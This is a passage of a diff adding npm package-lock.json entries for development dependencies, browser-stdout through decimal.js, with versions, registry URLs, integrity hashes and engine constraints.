+ "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==",
+ "dev": true
+ },
+ "node_modules/browser-stdout": {
+ "version": "1.3.1",
+ "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz",
+ "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==",
+ "dev": true
+ },
+ "node_modules/browserslist": {
+ "version": "4.21.9",
+ "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.21.9.tgz",
+ "integrity": "sha512-M0MFoZzbUrRU4KNfCrDLnvyE7gub+peetoTid3TBIqtunaDJyXlwhakT+/VkvSXcfIzFfK/nkCs4nmyTmxdNSg==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "caniuse-lite": "^1.0.30001503",
+ "electron-to-chromium": "^1.4.431",
+ "node-releases": "^2.0.12",
+ "update-browserslist-db": "^1.0.11"
+ },
+ "bin": {
+ "browserslist": "cli.js"
+ },
+ "engines": {
+ "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
+ }
+ },
+ "node_modules/buffer-crc32": {
+ "version": "0.2.13",
+ "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz",
+ "integrity": "sha512-VO9Ht/+p3SN7SKWqcrgEzjGbRSJYTx+Q1pTQC0wrWqHx0vpJraQ6GtHx8tvcg1rlK1byhU5gccxgOgj7B0TDkQ==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/buffer-equal": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/buffer-equal/-/buffer-equal-1.0.1.tgz",
+ "integrity": "sha512-QoV3ptgEaQpvVwbXdSO39iqPQTCxSF7A5U99AxbHYqUdCizL/lH2Z0A2y6nbZucxMEOtNyZfG2s6gsVugGpKkg==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/buffer-from": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
+ "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
+ "dev": true
+ },
+ "node_modules/cache-base": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz",
+ "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==",
+ "dev": true,
+ "dependencies": {
+ "collection-visit": "^1.0.0",
+ "component-emitter": "^1.2.1",
+ "get-value": "^2.0.6",
+ "has-value": "^1.0.0",
+ "isobject": "^3.0.1",
+ "set-value": "^2.0.0",
+ "to-object-path": "^0.3.0",
+ "union-value": "^1.0.0",
+ "unset-value": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/caching-transform": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/caching-transform/-/caching-transform-4.0.0.tgz",
+ "integrity": "sha512-kpqOvwXnjjN44D89K5ccQC+RUrsy7jB/XLlRrx0D7/2HNcTPqzsb6XgYoErwko6QsV184CA2YgS1fxDiiDZMWA==",
+ "dev": true,
+ "dependencies": {
+ "hasha": "^5.0.0",
+ "make-dir": "^3.0.0",
+ "package-hash": "^4.0.0",
+ "write-file-atomic": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/caching-transform/node_modules/make-dir": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz",
+ "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==",
+ "dev": true,
+ "dependencies": {
+ "semver": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/call-bind": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz",
+ "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==",
+ "dev": true,
+ "dependencies": {
+ "function-bind": "^1.1.1",
+ "get-intrinsic": "^1.0.2"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/callsites": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
+ "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/camel-case": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz",
+ "integrity": "sha512-+MbKztAYHXPr1jNTSKQF52VpcFjwY5RkR7fxksV8Doo4KAYc5Fl4UJRgthBbTmEx8C54DqahhbLJkDwjI3PI/w==",
+ "dev": true,
+ "dependencies": {
+ "no-case": "^2.2.0",
+ "upper-case": "^1.1.1"
+ }
+ },
+ "node_modules/camelcase": {
+ "version": "5.3.1",
+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/camelcase-css": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
+ "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
+ "dev": true,
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/caniuse-lite": {
+ "version": "1.0.30001517",
+ "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001517.tgz",
+ "integrity": "sha512-Vdhm5S11DaFVLlyiKu4hiUTkpZu+y1KA/rZZqVQfOD5YdDT/eQKlkt7NaE0WGOFgX32diqt9MiP9CAiFeRklaA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ]
+ },
+ "node_modules/catharsis": {
+ "version": "0.9.0",
+ "resolved": "https://registry.npmjs.org/catharsis/-/catharsis-0.9.0.tgz",
+ "integrity": "sha512-prMTQVpcns/tzFgFVkVp6ak6RykZyWb3gu8ckUpd6YkTlacOd3DXGJjIpD4Q6zJirizvaiAjSSHlOsA+6sNh2A==",
+ "dev": true,
+ "dependencies": {
+ "lodash": "^4.17.15"
+ },
+ "engines": {
+ "node": ">= 10"
+ }
+ },
+ "node_modules/chai": {
+ "version": "4.3.4",
+ "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.4.tgz",
+ "integrity": "sha512-yS5H68VYOCtN1cjfwumDSuzn/9c+yza4f3reKXlE5rUg7SFcCEy90gJvydNgOYtblyf4Zi6jIWRnXOgErta0KA==",
+ "dev": true,
+ "dependencies": {
+ "assertion-error": "^1.1.0",
+ "check-error": "^1.0.2",
+ "deep-eql": "^3.0.1",
+ "get-func-name": "^2.0.0",
+ "pathval": "^1.1.1",
+ "type-detect": "^4.0.5"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/chalk": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+ "dev": true,
+ "dependencies": {
+ "ansi-styles": "^4.1.0",
+ "supports-color": "^7.1.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/chalk?sponsor=1"
+ }
+ },
+ "node_modules/check-error": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz",
+ "integrity": "sha512-BrgHpW9NURQgzoNyjfq0Wu6VFO6D7IZEmJNdtgNqpzGG8RuNFHt2jQxWlAs4HMe119chBnv+34syEZtc6IhLtA==",
+ "dev": true,
+ "engines": {
+ "node": "*"
+ }
+ },
+ "node_modules/chokidar": {
+ "version": "2.1.8",
+ "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
+ "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
+ "deprecated": "Chokidar 2 does not receive security updates since 2019. Upgrade to chokidar 3 with 15x fewer dependencies",
+ "dev": true,
+ "dependencies": {
+ "anymatch": "^2.0.0",
+ "async-each": "^1.0.1",
+ "braces": "^2.3.2",
+ "glob-parent": "^3.1.0",
+ "inherits": "^2.0.3",
+ "is-binary-path": "^1.0.0",
+ "is-glob": "^4.0.0",
+ "normalize-path": "^3.0.0",
+ "path-is-absolute": "^1.0.0",
+ "readdirp": "^2.2.1",
+ "upath": "^1.1.1"
+ },
+ "optionalDependencies": {
+ "fsevents": "^1.2.7"
+ }
+ },
+ "node_modules/chokidar/node_modules/glob-parent": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
+ "integrity": "sha512-E8Ak/2+dZY6fnzlR7+ueWvhsH1SjHr4jjss4YS/h4py44jY9MhK/VFdaZJAWDz6BbL21KeteKxFSFpq8OS5gVA==",
+ "dev": true,
+ "dependencies": {
+ "is-glob": "^3.1.0",
+ "path-dirname": "^1.0.0"
+ }
+ },
+ "node_modules/chokidar/node_modules/glob-parent/node_modules/is-glob": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
+ "integrity": "sha512-UFpDDrPgM6qpnFNI+rh/p3bUaq9hKLZN8bMUWzxmcnZVS3omf4IPK+BrewlnWjO1WmUsMYuSjKh4UJuV4+Lqmw==",
+ "dev": true,
+ "dependencies": {
+ "is-extglob": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/chrome-trace-event": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
+ "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==",
+ "dev": true,
+ "peer": true,
+ "engines": {
+ "node": ">=6.0"
+ }
+ },
+ "node_modules/class-utils": {
+ "version": "0.3.6",
+ "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz",
+ "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==",
+ "dev": true,
+ "dependencies": {
+ "arr-union": "^3.1.0",
+ "define-property": "^0.2.5",
+ "isobject": "^3.0.0",
+ "static-extend": "^0.1.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/clean-css": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz",
+ "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==",
+ "dev": true,
+ "dependencies": {
+ "source-map": "~0.6.0"
+ },
+ "engines": {
+ "node": ">= 4.0"
+ }
+ },
+ "node_modules/clean-stack": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz",
+ "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/cli-spinner": {
+ "version": "0.2.10",
+ "resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz",
+ "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/cliui": {
+ "version": "7.0.4",
+ "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz",
+ "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==",
+ "dev": true,
+ "dependencies": {
+ "string-width": "^4.2.0",
+ "strip-ansi": "^6.0.0",
+ "wrap-ansi": "^7.0.0"
+ }
+ },
+ "node_modules/clone": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz",
+ "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.8"
+ }
+ },
+ "node_modules/clone-buffer": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/clone-buffer/-/clone-buffer-1.0.0.tgz",
+ "integrity": "sha512-KLLTJWrvwIP+OPfMn0x2PheDEP20RPUcGXj/ERegTgdmPEZylALQldygiqrPPu8P45uNuPs7ckmReLY6v/iA5g==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/clone-deep": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz",
+ "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4",
+ "kind-of": "^6.0.2",
+ "shallow-clone": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/clone-stats": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz",
+ "integrity": "sha512-au6ydSpg6nsrigcZ4m8Bc9hxjeW+GJ8xh5G3BJCMt4WXe1H10UNaVOamqQTmrx1kjVuxAHIQSNU6hY4Nsn9/ag==",
+ "dev": true
+ },
+ "node_modules/cloneable-readable": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/cloneable-readable/-/cloneable-readable-1.1.3.tgz",
+ "integrity": "sha512-2EF8zTQOxYq70Y4XKtorQupqF0m49MBz2/yf5Bj+MHjvpG3Hy7sImifnqD6UA+TKYxeSV+u6qqQPawN5UvnpKQ==",
+ "dev": true,
+ "dependencies": {
+ "inherits": "^2.0.1",
+ "process-nextick-args": "^2.0.0",
+ "readable-stream": "^2.3.5"
+ }
+ },
+ "node_modules/code-point-at": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
+ "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/collection-map": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/collection-map/-/collection-map-1.0.0.tgz",
+ "integrity": "sha512-5D2XXSpkOnleOI21TG7p3T0bGAsZ/XknZpKBmGYyluO8pw4zA3K8ZlrBIbC4FXg3m6z/RNFiUFfT2sQK01+UHA==",
+ "dev": true,
+ "dependencies": {
+ "arr-map": "^2.0.2",
+ "for-own": "^1.0.0",
+ "make-iterator": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/collection-visit": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz",
+ "integrity": "sha512-lNkKvzEeMBBjUGHZ+q6z9pSJla0KWAQPvtzhEV9+iGyQYG+pBpl7xKDhxoNSOZH2hhv0v5k0y2yAM4o4SjoSkw==",
+ "dev": true,
+ "dependencies": {
+ "map-visit": "^1.0.0",
+ "object-visit": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/color-convert": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+ "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+ "dev": true,
+ "dependencies": {
+ "color-name": "~1.1.4"
+ },
+ "engines": {
+ "node": ">=7.0.0"
+ }
+ },
+ "node_modules/color-name": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+ "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
+ "dev": true
+ },
+ "node_modules/color-support": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz",
+ "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==",
+ "dev": true,
+ "bin": {
+ "color-support": "bin.js"
+ }
+ },
+ "node_modules/combined-stream": {
+ "version": "1.0.8",
+ "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+ "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+ "dev": true,
+ "dependencies": {
+ "delayed-stream": "~1.0.0"
+ },
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/commander": {
+ "version": "8.2.0",
+ "resolved": "https://registry.npmjs.org/commander/-/commander-8.2.0.tgz",
+ "integrity": "sha512-LLKxDvHeL91/8MIyTAD5BFMNtoIwztGPMiM/7Bl8rIPmHCZXRxmSWr91h57dpOpnQ6jIUqEWdXE/uBYMfiVZDA==",
+ "dev": true,
+ "engines": {
+ "node": ">= 12"
+ }
+ },
+ "node_modules/commondir": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz",
+ "integrity": "sha512-W9pAhw0ja1Edb5GVdIF1mjZw/ASI0AlShXM83UUGe2DVr5TdAPEA1OA8m/g8zWp9x6On7gqufY+FatDbC3MDQg==",
+ "dev": true
+ },
+ "node_modules/component-emitter": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz",
+ "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==",
+ "dev": true
+ },
+ "node_modules/concat-map": {
+ "version": "0.0.1",
+ "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz",
+ "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==",
+ "dev": true
+ },
+ "node_modules/concat-stream": {
+ "version": "1.6.2",
+ "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
+ "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
+ "dev": true,
+ "engines": [
+ "node >= 0.8"
+ ],
+ "dependencies": {
+ "buffer-from": "^1.0.0",
+ "inherits": "^2.0.3",
+ "readable-stream": "^2.2.2",
+ "typedarray": "^0.0.6"
+ }
+ },
+ "node_modules/concat-with-sourcemaps": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/concat-with-sourcemaps/-/concat-with-sourcemaps-1.1.0.tgz",
+ "integrity": "sha512-4gEjHJFT9e+2W/77h/DS5SGUgwDaOwprX8L/gl5+3ixnzkVJJsZWDSelmN3Oilw3LNDZjZV0yqH1hLG3k6nghg==",
+ "dev": true,
+ "dependencies": {
+ "source-map": "^0.6.1"
+ }
+ },
+ "node_modules/convert-source-map": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz",
+ "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==",
+ "dev": true
+ },
+ "node_modules/copy-descriptor": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz",
+ "integrity": "sha512-XgZ0pFcakEUlbwQEVNg3+QAis1FyTL3Qel9FYy8pSkQqoG3PNoT0bOCQtOXcOkur21r2Eq2kI+IE+gsmAEVlYw==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/copy-props": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/copy-props/-/copy-props-2.0.5.tgz",
+ "integrity": "sha512-XBlx8HSqrT0ObQwmSzM7WE5k8FxTV75h1DX1Z3n6NhQ/UYYAvInWYmG06vFt7hQZArE2fuO62aihiWIVQwh1sw==",
+ "dev": true,
+ "dependencies": {
+ "each-props": "^1.3.2",
+ "is-plain-object": "^5.0.0"
+ }
+ },
+ "node_modules/copy-props/node_modules/is-plain-object": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+ "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/core-js-compat": {
+ "version": "3.31.1",
+ "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.31.1.tgz",
+ "integrity": "sha512-wIDWd2s5/5aJSdpOJHfSibxNODxoGoWOBHt8JSPB41NOE94M7kuTPZCYLOlTtuoXTsBPKobpJ6T+y0SSy5L9SA==",
+ "dev": true,
+ "dependencies": {
+ "browserslist": "^4.21.9"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/core-js"
+ }
+ },
+ "node_modules/core-util-is": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.3.tgz",
+ "integrity": "sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==",
+ "dev": true
+ },
+ "node_modules/cross-spawn": {
+ "version": "7.0.3",
+ "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
+ "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
+ "dev": true,
+ "dependencies": {
+ "path-key": "^3.1.0",
+ "shebang-command": "^2.0.0",
+ "which": "^2.0.1"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/cssesc": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
+ "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
+ "dev": true,
+ "bin": {
+ "cssesc": "bin/cssesc"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/cssom": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz",
+ "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==",
+ "dev": true
+ },
+ "node_modules/cssstyle": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-2.3.0.tgz",
+ "integrity": "sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==",
+ "dev": true,
+ "dependencies": {
+ "cssom": "~0.3.6"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/cssstyle/node_modules/cssom": {
+ "version": "0.3.8",
+ "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.3.8.tgz",
+ "integrity": "sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==",
+ "dev": true
+ },
+ "node_modules/d": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/d/-/d-1.0.1.tgz",
+ "integrity": "sha512-m62ShEObQ39CfralilEQRjH6oAMtNCV1xJyEx5LpRYUVN+EviphDgUc/F3hnYbADmkiNs67Y+3ylmlG7Lnu+FA==",
+ "dev": true,
+ "dependencies": {
+ "es5-ext": "^0.10.50",
+ "type": "^1.0.1"
+ }
+ },
+ "node_modules/data-urls": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz",
+ "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==",
+ "dev": true,
+ "dependencies": {
+ "abab": "^2.0.6",
+ "whatwg-mimetype": "^3.0.0",
+ "whatwg-url": "^11.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/data-urls/node_modules/whatwg-url": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz",
+ "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==",
+ "dev": true,
+ "dependencies": {
+ "tr46": "^3.0.0",
+ "webidl-conversions": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/debug": {
+ "version": "4.3.4",
+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+ "dev": true,
+ "dependencies": {
+ "ms": "2.1.2"
+ },
+ "engines": {
+ "node": ">=6.0"
+ },
+ "peerDependenciesMeta": {
+ "supports-color": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/decamelize": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz",
+ "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/decimal.js": {
+ "version": "10.4.3",
+ "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.4.3.tgz",
